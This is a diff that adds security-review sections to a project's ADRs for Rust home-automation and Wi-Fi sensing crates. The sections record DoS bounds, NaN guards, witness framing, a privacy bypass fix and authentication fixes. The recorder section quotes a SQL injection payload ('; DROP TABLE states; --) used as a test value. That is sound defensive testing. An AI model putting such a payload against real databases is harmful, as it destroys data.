+- **Re-entrancy / livelock (DoS)** — run-mode machinery is bounded and tested: `Single`/`IgnoreFirst` re-entrancy guard, `Restart` cancel-and-replace, `Queued` FIFO serialization, and `max: N` semaphore cap (ADR-162; `restart_mode_cancels_prior_run`, `queued_mode_runs_sequentially_not_concurrently`, `max_two_caps_concurrency_at_two`, `single_mode_does_not_double_fire_on_rapid_triggers`). A self-triggering automation does not livelock the engine — each fire is bounded by its run-mode.
+- **Action authorization** — templates are read-only sandboxed (`states`/`state_attr`/`is_state`/`now` globals; no service-call or state-set global is exposed to template scope), so a template cannot escalate into an action. Service authorization itself is enforced at the `homecore` service-registry boundary (out of this crate's scope); no gap found in what the automation crate enforces.
+- **Panic-on-config (parse)** — `serde_yaml`/`serde_json` deserialization returns structured `AutomationError` (no `unwrap`/`expect`/index reachable from a crafted config in the eval/exec path); the only remaining panic surface was the `from_secs_f64` path fixed as HC-SEC-02.
+
+Validation: `cargo test -p homecore-automation --no-default-features` → 54 passed / 0 failed (+14 over baseline). Python deterministic proof unchanged (homecore-automation is off the signal-processing proof path).
+
+---
+
 ## 9. References
 
 ### HA upstream

docs/adr/ADR-132-homecore-recorder-history-semantic-search.md

@@ -120,6 +120,42 @@ tested; P3 is planned.
   HOMECORE-API (ADR-130, P3); automation conditions on historical state are
   HOMECORE-automation (ADR-129, P3).
 
+## 3a. Security review (2026-06, post-ADR-154–159 sweep)
+
+A beyond-SOTA security review of `homecore-recorder` covered SQL injection, retention/purge
+correctness, fail-closed write integrity, semantic-store NaN poisoning, and PII exposure.
+
+**Confirmed clean (with evidence):**
+
+- **SQL injection — clean.** Every query in `db.rs` uses bound `?` parameters; no user- or
+  entity-influenceable value is interpolated into SQL via `format!`/concatenation. The only
+  `format!` builds the `LIKE` *pattern* string, which is itself **bound** as a parameter with
+  `ESCAPE '\\'` and `% _ \` escaping — so a metacharacter payload is matched literally. Pinned
+  by `malicious_entity_id_is_stored_literally_not_executed` (a `'; DROP TABLE states; --` state
+  value leaves the table intact and round-trips verbatim) and
+  `like_metacharacters_in_query_are_literal_not_wildcards`.
+- **NaN-index poisoning — structurally impossible.** Embeddings are SHA-256 → `i32` →
+  `f32`; an `i32`→`f32` cast is always finite (never NaN/Inf), and an all-zero-digest is
+  guarded by the `norm > 1e-10` check. Empty-index search, empty-string query, and `k=0` were
+  probed and all return `Ok(0)` with no panic. (Unlike the calibration/vitals/geo paths, no raw
+  sensor float ever reaches the index.)
+- **Fail-closed writes.** A removal event returns `Ok(None)`; semantic-index failure is logged,
+  not propagated, so it never blocks the durable SQLite write; `EntityId` parse failure falls
+  back to a sentinel rather than panicking.
+
+**Fixed (real bounding bugs):**
+
+- **Memory-DoS — `get_state_history` was unbounded.** No `LIMIT`, so a wide time window over a
+  high-frequency entity loaded an unbounded row set into memory. Now capped at
+  `MAX_HISTORY_ROWS` (1,000,000); sibling search paths were already `k`-bounded.
+- **Disk-DoS / documented-but-missing `purge`.** The README advertised `Recorder::purge`, but
+  no retention path existed → unbounded disk growth. Added a **transactional** `purge(older_than)`
+  with an **exclusive** cutoff (idempotent, no off-by-one) that deletes old `states`/`events` and
+  GCs orphaned `state_attributes` blobs (dedup-shared blobs kept until their last referrer is gone).
+
+`homecore-recorder` tests: 19 → 25 (`--no-default-features`) / 25 → 31 (`--features ruvector`),
+0 failed. Python deterministic proof unchanged (recorder is off the signal proof path).
+
 ## 4. Links
 
 - Crate: `v2/crates/homecore-recorder/` — `Cargo.toml`, `README.md`, `src/lib.rs`,

docs/adr/ADR-133-homecore-assist-ruflo.md

@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
 | **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
 | **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
 | **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
+
+---
+
+## 6. Security review (beyond-SOTA, untrusted-input → action path)
+
+A focused security review of the Assist pipeline — `utterance → recognizer →
+intent → handler → action`, plus `RufloRunner` — treating the utterance as
+untrusted input (voice transcripts, the WebSocket `assist` command). This
+surface was not covered by the ADR-154–159 sweep.
+
+### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
+
+Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
+accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
+clone) + a per-registered-pattern scan (and, in the semantic path, full
+tokenisation + feature-hash embedding) before any bound — an allocation/CPU
+amplification on attacker-controlled input. The `regex` crate is **linear-time**
+(RE2-style finite automaton, no catastrophic backtracking), so this was a
+throughput/memory DoS, not a hang.
+
+**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
+checked at **both** recognizer boundaries *before* any allocation/scan. An
+over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
+identical to an unrecognised phrase — so it can never be coerced into firing a
+handler. Pinned by `over_length_utterance_fails_closed` (an over-length
+utterance that *contains* a valid command resolves to `None`, which would have
+matched on the old code) and `over_length_utterance_fails_closed_semantic`.
+
+### 6.2 Dimensions confirmed clean (with evidence)
+
+- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
+  has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
+  local recognizer, no process). There is **no** `std::process` / `tokio::process`
+  / `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
+  only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
+  are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
+  genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
+  class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
+  when an injection-shaped utterance resolves (the regex is not exact-anchored),
+  the captured slot is a clean token — sanitisation by construction. Pins:
+  `shell_metachars_never_survive_into_a_resolved_slot`,
+  `runner_opts_are_inert_no_process_spawned`,
+  `pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
+- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
+  dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
+  completes in bounded time. Pin:
+  `pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
+  operator-registered, not user-supplied, in any case.
+- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
+  only `&str` and produces values via FNV feature-hashing + a guarded L2
+  normalise (`norm > 1e-12`); no external float input, no unguarded division, so
+  a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
+  against the zero vector is a finite `0.0`; an empty index `max_by` returns
+  `None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
+  place. Pins: `embeddings_are_structurally_finite`,
+  `cosine_with_zero_vector_is_finite_not_nan`,
+  `empty_utterance_against_empty_index_no_panic_no_match`.
+- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
+  (no service call); a recognised intent with no registered handler →
+  `not_understood()`; semantic below-threshold / empty-index → regex fallback.
+  No default high-privilege intent, no fail-open path.
+- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
+  utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
+  the append-only exemplar `Vec` (no remove API), so it is always in bounds.
+
+`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
+default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
+unchanged (homecore-assist is off the signal proof path).

docs/adr/ADR-137-fusion-engine-quality-scoring-evidence.md

@@ -495,3 +495,34 @@ Rejected. `ViewpointFusionEvent` (viewpoint/fusion.rs lines 183–219) is an int
 **Integration glue -- not yet on the live path:** emission of `CalibrationIdMismatch` / `DriftProfileConflict` / `PhaseAlignmentFailed` once `calibration_id` propagation and the phase-align convergence signal are threaded onto frames; the BFLD witness record emitted on privacy demotion.
 
 **Trust contribution:** sensor *agreement made explicit* -- fusion records the evidence it relied on, and any disagreement automatically tightens the downstream privacy class.
+
+---
+
+## Witness Integrity Review (2026-06-14) — domain-separation fix
+
+A beyond-SOTA security review of `wifi-densepose-engine` (the composition root
+that builds the §2.7 trust witness in `witness_of`) found a real **witness
+domain-separation gap**, now fixed.
+
+**Finding (witness-gap, HIGH).** `witness_of` concatenated `model_version`,
+`calibration_version`, and `privacy_decision` boundary-to-boundary, and the
+variable-length `evidence` list carried no explicit count. A string straddling a
+field boundary therefore collided with a *different* trust decision —
+e.g. a per-room adapter id (ADR-150 §3.4, operator-influenceable) that absorbs
+the leading bytes of the calibration epoch (`model="…cal:00a"`, `cal="b"`)
+produces the **same** witness as `model="…"`, `cal="cal:00ab"`. Two distinct
+privacy-relevant input tuples → one witness defeats the "any privacy-relevant
+delta → different witness" guarantee this ADR's §2.7 witness exists to provide.
+
+**Fix.** The witness now (a) prepends a domain tag `ruview.engine.witness.v1`,
+(b) writes an explicit 8-byte evidence count, and (c) **length-prefixes every
+field** (8-byte LE length ‖ bytes), so field framing is unambiguous regardless
+of contents. This is a witness-layout change (all prior witness bytes are
+invalidated by design); downstream consumers only assert witness *relationships*
+(`assert_ne`/`assert_eq` across runs), not absolute bytes, so nothing breaks.
+
+Pinned by `witness_distinguishes_model_calibration_boundary` and
+`witness_distinguishes_evidence_model_boundary` (both fail on the old
+concatenation). Witness **determinism** was reviewed and confirmed clean: no
+HashMap iteration and no float formatting feed the hash (floats appear only in
+the `SemanticState` statement, which is outside the witness).

docs/adr/ADR-141-bfld-privacy-control-plane-modes-attestation.md

@@ -599,3 +599,53 @@ Per ADR-028/ADR-010, three rows are added to the witness log:
 **Integration glue -- not yet on the live path:** wiring the registry into `PrivacyGate` class transitions, the MQTT discovery payload, and a read-only Home Assistant diagnostic entity exposing the active mode + proof hash.
 
 **Trust contribution:** the *policy spine* -- privacy posture is a tamper-evident, auditable chain rather than a checkbox; an operator's mode choice actively governs whether identity data may even exist.
+
+---
+
+## Privacy Monotonicity Review (2026-06-14) — confirmed clean
+
+A beyond-SOTA security review of the governed-trust cycle
+(`wifi-densepose-engine::StreamingEngine::process_cycle_calibrated`) examined
+the privacy-demotion path this ADR governs. **The monotonicity invariant holds:
+demotion only ever makes the emitted class more restrictive, never less.**
+
+Verification (no behaviour change, the result is a clean bill with evidence):
+
+- Each cycle computes `effective_class` fresh from the active mode's
+  `target_class()` (the floor) and applies at most a **single-step** demotion
+  (`demote_one`, clamped at `Restricted`). There is no cross-cycle state that
+  could let a permissive class overwrite a restrictive one.
+- A forced contradiction (calibration mismatch / array-geometry insufficiency /
+  mesh partition risk, ADR-032) raises the class byte; a clean cycle emits
+  exactly the base class.
+- Pinned by `forced_contradiction_never_relaxes_class`, a property test over
+  **all five** `PrivacyMode`s asserting `effective_class.as_u8() >=
+  base_class.as_u8()` (strictly greater unless already clamped at `Restricted`)
+  under a forced contradiction, and `== base` on a clean cycle.
+
+Fail-closed boundaries were also pinned: an empty cycle errors (no degenerate
+over-permissive output, `empty_cycle_fails_closed`) and the single-node boundary
+is characterized as a valid non-demoting mode (`single_node_cycle_is_well_formed`).
+
+The related witness domain-separation fix from the same review is recorded in
+ADR-137 (the witness folds `effective_class`, so the demotion is auditable).
+## Security & Privacy Review (2026-06-14)
+
+Beyond-SOTA privacy+security review of `wifi-densepose-bfld` (the crate was not in the ADR-154–159 sweep). Two real bugs fixed (each pinned by a fails-on-old test), several dimensions confirmed clean.
+
+### Findings
+
+| # | Severity | Site | Issue | Fix | Pinned by |
+|---|----------|------|-------|-----|-----------|
+| 1 | **privacy-bypass (HIGH)** | `pipeline.rs::process_to_frame` | The documented wire-bytes production path stamped the frame header with the active `PrivacyClass` but serialized the caller's `BfldPayload` **unchanged** via `BfldFrame::from_payload` — never routing through `PrivacyGate::demote`. A frame labeled `Anonymous`(2)/`Restricted`(3) carried the full `compressed_angle_matrix` (identity surface) + amplitude/phase + `csi_delta`. A `NetworkSink` accepts class ≥ `Derived`(1), so the identity surface could cross the node boundary despite the restrictive class byte — the byte lied about content. | Apply `PrivacyGate::demote(frame, active_class)` after construction: a same-class transition that strips the sections the class forbids; `Raw`/`Derived` keep the full payload. | `tests/pipeline_to_frame.rs::process_to_frame_at_anonymous_strips_identity_leaky_sections`, `…_in_privacy_mode_strips_amplitude_and_phase` (both FAILED pre-fix); `…_at_derived_preserves_full_payload` (over-strip guard) |
+| 2 | **PII/injection (MEDIUM)** | `mqtt_topics.rs::render_events` | `zone_activity` payload built as `format!("\"{zone}\"")` with no JSON escaping (while `ha_discovery.rs` already escapes). A zone name with `"`/`\` produced malformed/injectable JSON on the HA state topic. | `json_string_literal()` escaper mirroring `ha_discovery::push_str_field`. Value-identical for normal zone names. | `tests/mqtt_topic_routing.rs::zone_payload_escapes_json_metacharacters` (FAILED pre-fix) |
+
+### Dimensions confirmed clean (with evidence)
+
+- **Event-field privacy gating** — `BfldEvent::apply_privacy_gating` nulls `identity_risk_score` + `rf_signature_hash` at `Restricted`, and `serde(skip_serializing_if = "Option::is_none")` omits them entirely. `render_events`/`render_discovery_payloads` refuse class < `Anonymous` (stricter than the `sink.rs` `NetworkKind` `MIN_CLASS = Derived` — defense in depth toward less leakage). Covered by `event_privacy_gating.rs`, `mqtt_topic_routing.rs`, `ha_discovery.rs`.
+- **Witness/hash framing (the engine `witness_of` bug class)** — CLEAN. `SignatureHasher::compute` prefixes a **fixed 4-byte** `day_epoch` then a **fixed-width canonical-f32** feature block (`IdentityFeatures`: Embedding = `EMBEDDING_DIM*4`, RiskFactors = 16 B). `PrivacyAttestationProof::compute` hashes a fixed 32-byte `prev_hash` + three fixed 1-byte values. No variable-length operator-influenceable string is concatenated into any digest — no length-prefix-framing collision is possible.
+- **Fail-closed** — `payload.rs::from_bytes` rejects truncated/overflowing/trailing-byte sections (`checked_add`, bounds checks); `frame.rs::from_bytes` validates magic/version/length/CRC; `PrivacyClass::try_from` rejects unknown bytes; `identity_risk::score` maps NaN/degenerate factors → 0.0 (privacy-conservative). The `from_score(NaN) → Accept` choice is a documented, deliberate publish-aggregate-only fallback (NaN never reaches it from `score()`); risk-driven NaN cannot leak identity because identity gating is class-byte-driven, not risk-driven.
+
+### Observation (not a bug)
+
+The ADR-141 control plane (`PrivacyMode`/`PrivacyModeRegistry`) is **not yet wired into the emit path** — the emitter/pipeline enforce the raw `PrivacyClass` directly; the registry is exported + unit-tested but advisory. This matches the "Integration glue — not yet on the live path" status above. The class-byte enforcement (emitter + event + renderers + the now-fixed `process_to_frame`) is the live guarantee. Wiring the registry is the documented next step.

docs/adr/ADR-151-room-calibration-specialist-training.md

@@ -253,6 +253,54 @@ Validation per CLAUDE.md: `cargo test --workspace --no-default-features` green;
 
 ---
 
+## 6. Review notes
+
+### 6.1 Correctness + security review (2026-06-14)
+
+Beyond-SOTA correctness+security review of `wifi-densepose-calibration` (this
+ADR's pipeline), un-covered by the ADR-154–159 sweep.
+
+**Finding (FIXED) — NaN-poisoning of the feature path (numerical / fail-closed).**
+`Features::from_series` — the carrier for both live inference and training-anchor
+extraction — computed `mean`/`variance`/`motion` over the raw scalar series with
+no non-finite guard. A single `NaN`/`±inf` sample (corrupt CSI frame) yielded
+`mean=NaN, variance=NaN` and an all-`NaN` prototype embedding. Persisted into a
+`PresenceSpecialist::threshold`/`empty_mean` at train time, the `NaN` **silently
+disabled presence detection** for the bank's lifetime (every `>` / `|·|`
+comparison against `NaN` is false → always reads *absent*, confidence 0), with no
+error — and an asymmetry against the rigorously NaN-guarded `geometry_embedding`.
+Fixed at the production boundary: non-finite samples are dropped (a corrupt frame
+counts as no frame), an all-non-finite series degrades to `Features::ZERO` like
+the empty series. Value-identical for all-finite input (full-loop + extract tests
+unchanged); pinned by `non_finite_samples_do_not_poison_features` and
+`all_non_finite_series_is_zero` (both fail on the old code).
+
+**Clean dimensions (evidence, no invented issues).**
+- *File/path handling:* the crate performs **zero** file/path I/O (no
+  `std::fs`/`Path`/`File`/`read`/`write` in `src/`; only in-memory `serde_json`).
+  Path-traversal / unbounded-read / artifact-path handling live entirely in the
+  `wifi-densepose-cli` consumer (`room.rs`), outside this crate's boundary.
+- *Untrusted-load:* `SpecialistBank::from_json` shape-validates via serde
+  (malformed → `CalibrationError::Serde`); banks are local-first (invariant B),
+  never network-received. A well-formed bank with adversarial numerics is trusted
+  as-is — acceptable under the local-first threat model; a validate-on-load
+  defense-in-depth pass is a possible future hardening, not a present bug.
+- *Receipt/hash integrity:* the crate emits no hash/receipt/witness/signature, so
+  the unframed-concatenation bug class (cf. the engine `witness_of` fix) is
+  structurally absent.
+- *Other numerical paths:* `geometry_embedding` sanitizes every input and sweeps
+  to finite; presence/restlessness/anomaly divisions are `.max(1e-3)`-guarded;
+  `autocorr_dominant` guards `r0`, short signals, and empty bands; `train` rejects
+  empty anchors; anomaly requires ≥2 anchors.
+
+De-magicked the bare specialist threshold literals (breathing/heartbeat default
+min-scores, anomaly outlier-spread multiple + label cutoff) into named documented
+consts, value-identical, pinned by const-equality tests. Tests
+**58→62 unit + 1 integration, 0 failed**; Python deterministic proof unchanged
+(off the signal proof path).
+
+---
+
 ## 5. Summary
 
 > Big models understand the world. Small ruVector models understand *your room*.

docs/adr/ADR-154-signal-dsp-beyond-sota.md

@@ -231,6 +231,8 @@ Catalogued so nothing is silently dropped. Priority: **P1** correctness-adjacent
 
 > **Horizon-ledger one-liner.** Milestone-0 DONE: dead CIR gate (FIXED+proved), NaN/inf adversarial bypass (FIXED+proved), divide-by-(n−1) window trio (FIXED+proved), calibration dead-branch (FIXED), PSD FFT-planner cache (MEASURED), DTW band (MEASURED). **Milestone-1 DONE (2026-06-13): all four P1 backlog items cleared — circular phase variance #1 (RESOLVED/MEASURED metric, DATA-GATED threshold), Welford n=0 guard #10 (RESOLVED/MEASURED), threshold magic-constants #9 & #13 (RESOLVED-PARTIAL/DATA-GATED — de-magicked + boundary-tested, values unchanged).** **Milestone-2 DONE (2026-06-13): bench-first P2 perf subset + missing boundary tests cleared — spectrogram per-subcarrier FFT re-plan #20 (MEASURED-HOT, 1.40–1.84×, bit-identical); attention/tomography/Kalman #5/#6/#7 (MEASURED-NULL — benched, not hot, left as-is); field_model eigendecompose #8 (MEASUREMENT-ONLY, BLAS un-buildable on this Windows host, number deferred to a BLAS box, NOT fabricated); fft_operator tolerance #14, phase-align convergence-cap #16, csi-ratio epsilon #19 (RESOLVED, tests added).** **Milestone-3 DONE (2026-06-13): the lumped §7.4 row #21–45 P3 backlog cleared, and with it residual P3 items #2/#12/#17/#18 — 22 magic constants de-magicked into named EMPIRICAL-DEFAULT consts (each pinned == prior literal) + 6 boundary/characterization tests across 11 modules; ~4 doc-only; not-real findings (unreachable attractor_drift div0, non-existent gesture thresholds, proof-path features.rs) reported + skipped, no churn; no operating value changed; workspace 3,275/0, Python proof bit-exact `f8e76f21…`.** **§7.4 deferred backlog is now FULLY CLEARED across M0–M3 — nothing silently dropped.**
 
+> **Sibling-crate sweep extension (2026-06-14) — `wifi-densepose-geo` + `wifi-densepose-pointcloud`.** The ADR-154-class numerical-robustness sweep (non-finite-input-poisons-persistent-state + divide-by-zero / asin-domain / degenerate-geometry) was extended to two crates *outside* this ADR's signal scope. **Two real `geo` bugs FIXED, each fails-on-old-pinned:** `terrain.rs::parse_hgt` usize-underflow panic on empty/sub-2x2 SRTM data (`1.0/(side-1)` → panic in debug / inf `cell_size_deg` poisoning `ElevationGrid::get` in release — a truncated download / 404 HTML body reaches it; now `bail!`s when `side < 2`); `coord.rs::haversine` `asin(>1)→NaN` for near-antipodal points (`h` rounds to `1.0+4e-16`; clamped to `[0,1]`). The ±90° pole `cos(lat)=0` ENU singularity is pinned no-panic without changing the transform. **`pointcloud` is confirmed-robust (no manufactured finding):** its only persistent auto-accumulating state (`occupancy` EMA + vitals) is fed solely by the integer-rssi/`sqrt`/`atan2` parser (always finite) and is provably self-healing even under an adversarial NaN/inf `CsiFrame` (`motion_score=(NaN/100).min(1.0)→1.0`; breathing `→0→clamp(5,40)→5.0`) — pinned by `nonfinite_frame_does_not_poison_persistent_state` + degenerate-voxel-fusion no-panic tests. `geo` 9→15 lib / 8 integration; `pointcloud` 18→22; 0 failed; workspace green; Python proof bit-exact `f8e76f21…`. See CHANGELOG `[Unreleased] → Fixed`.
+
 ---
 
 ## 8. Consequences

docs/adr/ADR-156-ruvector-fusion-beyond-sota.md

@@ -102,7 +102,7 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
 
 | # | Candidate | What | Grade | Verdict |
 |---|-----------|------|-------|---------|
-| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **CLAIMED** (author-measured; **not reproduced on our hardware** — reproduction is future work) | **Lead beyond-SOTA candidate for the ruvector ANN path.** Propose as ACCEPTED-future; cite honestly as "claimed by source, reproduction pending." Best fit because the ruvector retrieval path (AETHER re-ID, sketch prefilter) is exactly an ANN problem and SymphonyQG is CPU/edge-portable like our deployment. |
+| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **MEASURED-direction-tested** (was CLAIMED) — **[ADR-261](ADR-261-ruvector-graph-ann-index.md)** built the missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant and **measured** the ratio on our hardware. | **DONE — direction REFUTED at our scale (honest negative).** ADR-261 built the real HNSW baseline (**~25× QPS over linear scan at recall ≥0.99**, the substrate this row wanted) and a quantized variant. At N=10k the 1-bit Hamming traversal is **too coarse** — its best recall is 0.738, never reaching the ≥0.90 equal-recall point, so **no QPS win over float HNSW** (the SymphonyQG 3.5–17× is *not* reproduced by our 1-bit construction here). Caveat: **our HNSW + our 1-bit quant, not SymphonyQG's system**; expected crossover at large N + a multi-bit code. We did **not** tune to manufacture a speedup. |
 | **2** | **Multi-bit / Extended RaBitQ + unbiased estimator** | Extends our existing **1-bit** `sketch.rs` (ADR-084): Pass-2 rotation, multi-bit Pass-3, and the **real RaBitQ unbiased distance estimator** (Gao & Long SIGMOD 2024) reranking the candidate set from the 1-bit code + 8 B/vec side info (§11). | **MEASURED-on-our-hardware** (was CLAIMED) — rotation (§10), multi-bit (§10), and the estimator (§11) all implemented + benchmarked. Rotation lifts strict-K 36%→46%; multi-bit (≤4-bit) reaches 74% strict; **the estimator reaches 49.71% strict (cosine rerank), still short of 90%.** All clear 90% only with over-fetch (estimator improves the factor: 95% at candidate_k=24 vs sign 91.6%). | **DONE — RESOLVED-PARTIAL / NEGATIVE.** Rotation (§10) + estimator (§11) built and MEASURED. The honest negative (no strict-bar 90% from rotation, ≤4-bit, **or the unbiased estimator**) is recorded, not hidden. Over-fetch + Pass-2 is the path that meets the bar (ADR-084's "candidate set" pattern); the estimator lowers the over-fetch factor needed. |
 | **3** | **GraphPose-Fi-style learned antenna-attention + ChebGConv fusion head** | Would replace the current **untrained identity-projection + mean-pool** "attention" (the `CrossViewpointAttention` default is `ProjectionWeights::identity` — not a *learned* attention) with a learned graph fusion head. | **DATA-GATED** (per ADR-152 measurement (b): architecture is **NOT** the current bottleneck — **data is**) | **ACCEPTED-future, data-gated. Do NOT build now.** ADR-152's measured lesson was that swapping architecture without more/better paired data does not move PCK. Building a learned fusion head before the data exists would repeat the mistake ADR-155 §5 also flagged for GraphPose-Fi. |
 | — | **Cramér-Rao / sensor-placement** (`geometry.rs` CRB) | Investigated for a 2026 advance beating the textbook Fisher-information CRB already implemented. | **Investigated — NO ACTION** | **Cleared honestly.** No 2026 method beats the closed-form Fisher-information CRB for this 2-D bearing problem; our implementation is already correct SOTA. (Recording a negative result is a deliberate anti-slop signal.) The only CRB change this milestone is the §2.3 *GDOP* honesty fix, which is a labelling/quantity correction, not an algorithmic one. |
@@ -138,7 +138,7 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
 
 The review surfaced more than this milestone scoped. Tracked here for a future ADR-156 milestone:
 
-- **SymphonyQG reproduction** (§5 #1) — reproduce the 3.5–17× QPS-over-HNSW claim on our hardware before integrating into the ruvector ANN path. Currently CLAIMED-only.
+- **SymphonyQG reproduction** (§5 #1) — **RESOLVED-DIRECTION-TESTED** (see [ADR-261](ADR-261-ruvector-graph-ann-index.md)). The missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant were built and **MEASURED**: float HNSW is ~25× over linear scan at recall ≥0.99 (the baseline this gap needed), but our 1-bit quantized traversal is **too coarse to beat float HNSW at equal recall at N=10k** (best recall 0.738) — the 3.5–17× is **not reproduced** by our construction. Honest negative recorded; expected crossover is large N + a multi-bit traversal code. (Caveat: our HNSW + our 1-bit quant, not SymphonyQG's exact system.)
 - **Multi-bit / Extended RaBitQ** (§5 #2) — **RESOLVED-PARTIAL** (see §10). Pass-2 randomized rotation (FHT + seeded ±1 sign flips, `src/rotation.rs`) and a multi-bit Pass-3 experiment landed and were MEASURED against the ADR-084 ≥90% bar. **Honest result: rotation helps (+10pp at the strict bar) and Pass-2 reaches 90% with ~3× over-fetch, but NEITHER rotation nor multi-bit (up to 4-bit) clears the strict candidate_k==K 90% bar on the tested anisotropic distribution.** The original `1-bit sign quantization ships first; rotation/more-bits later if benchmark-measured top-K coverage drops below 90%` deferral is therefore retired: the rotation is built, the bar is characterised, and the residual gap is documented rather than deferred.
 - **Learned cross-viewpoint fusion head** (§5 #3, GraphPose-Fi-style) — **data-gated**: blocked on the paired multi-room data ADR-152 measurement (b) identified as the real bottleneck; do not build the architecture first.
 - **`CrossViewpointAttention` learned projections** — the default `ProjectionWeights::identity` + mean-pool is honest but unlearned; wiring real learned Q/K/V projections is part of the data-gated item above (no learned weights ⇒ the "attention" is currently a geometric-bias-weighted average, which the code/docs should keep stating plainly).

docs/adr/ADR-161-homecore-server-layer-security.md

@@ -265,3 +265,74 @@ Result at time of writing (all 0 failed):
   perform (B5).
 - Files kept under the 500-line guideline (`engine.rs` 462; behavioral tests
   moved to `tests/engine_behaviors.rs`).
+
+## Addendum — `homecore-api` follow-up security review (beyond-SOTA pass)
+
+A later network-facing review of `homecore-api` (the remote REST + WS attack
+surface) — independent of the ADR-154–159 sweep — found and fixed two real
+issues the original M7 pass (which focused on the WS auth bypass HC-WS-01, the
+reply-theater HC-WS-02, and the bin token provisioning HC-WS-08) did not catch.
+Both are LOW severity and reported at true severity.
+
+### HC-API-AUTH-01 — `GET /api/` was unauthenticated (FIXED)
+
+`rest::api_root` took no headers and unconditionally returned
+`200 {"message":"API running."}`, while every sibling route gates on
+`BearerAuth::from_headers`. HA's `APIStatusView` inherits `requires_auth = True`,
+so `/api/` must return **401** for a missing/wrong bearer. HA clients use the
+status route as a token-validation probe; a 200 told a bad-token client its
+token was valid and let an unauthenticated party confirm a live endpoint.
+LOW severity (the body is a static string; no entity/state data leaks).
+
+**Fix:** `api_root(headers, State)` now validates the bearer like `get_config`.
+**Pinned by** (fail-on-old, `tests/server_bin_auth.rs`):
+`api_root_rejects_missing_bearer`, `api_root_rejects_wrong_bearer` (both 200→401),
+guarded by `api_root_accepts_correct_bearer` (still 200 with a valid token).
+
+### HC-WS-LAG-01 — `subscribe_events` killed the stream on a broadcast lag (FIXED)
+
+The per-subscription task matched `Err(_) => break` on both broadcast
+`recv()` arms. `RecvError::Lagged(n)` (a slow consumer falling
+>`EVENT_CHANNEL_CAPACITY` = 4,096 events behind) is **recoverable** — the bus
+doc says "Lagged receivers must re-sync" and HA keeps the subscription alive
+across a lag. The old code treated the first lag as fatal, so after an event
+burst the client's stream went permanently silent with no error frame — a
+self-inflicted event-delivery DoS under load.
+
+**Fix:** `Lagged(_) => continue` (skip the dropped window, re-sync),
+`Closed => break`, on both the system and domain arms of the `select!`.
+**Pinned by** `subscription_survives_broadcast_lag` (`tests/ws_handshake.rs`):
+subscribes to a filtered event type, floods 6,000 unrelated events past the
+4,096 capacity to force a `Lagged`, then asserts a subsequent subscribed event
+is still delivered (old code: 5s-timeout panic).
+
+### Dimensions confirmed clean (with evidence)
+
+- **AuthN/AuthZ** — all 7 other REST handlers gate on `BearerAuth::from_headers`
+  → `LongLivedTokenStore::is_valid` before any work; the WS handshake validates
+  the `auth` token against the same store before the command loop, and
+  privileged commands are unreachable pre-`auth_ok`. Token compare is
+  `HashSet::contains` (content-independent timing — not the byte-`==` oracle of
+  ADR-157 §B4), so no timing-oracle finding. No route skips the gate; no
+  result-ignored check; no default/empty token accepted.
+- **Path traversal** — no route maps user input to a filesystem path (state is an
+  in-memory `DashMap`); `:entity_id` passes through `EntityId::parse`, a strict
+  `[a-z0-9_]+\.[a-z0-9_]+` ASCII allowlist that rejects `..`, `/`, `\`, and
+  absolute paths. No traversal surface.
+- **Injection** — no SQL, no shell/subprocess, no `format!`-into-response;
+  service/state bodies are typed `serde_json::Value` handed to the in-process
+  registry (HA-equivalent).
+- **Info-leak** — `ApiError` maps to fixed status + a typed `{message}`;
+  `ServiceError::HandlerFailed(String)` is integration-controlled (HA surfaces
+  the handler error too), never framework internals/paths/stack-traces — no
+  ADR-080-class leak.
+- **CORS** — explicit allowlist with `allow_credentials(false)` (HC-05),
+  not `permissive()`.
+- **De-magic** — no bare security-relevant literals in the crate worth
+  extracting (`EVENT_CHANNEL_CAPACITY` is already named in `homecore`; CORS
+  dev-default ports are documented).
+
+**Tests:** `homecore-api --no-default-features` **25 → 29** (+2 api-root auth,
++1 api-root accept-guard, +1 WS lag-survival), 0 failed. Workspace green.
+Python deterministic proof unchanged (homecore-api is off the signal proof
+path).

docs/adr/ADR-165-homecore-migrate-from-home-assistant.md

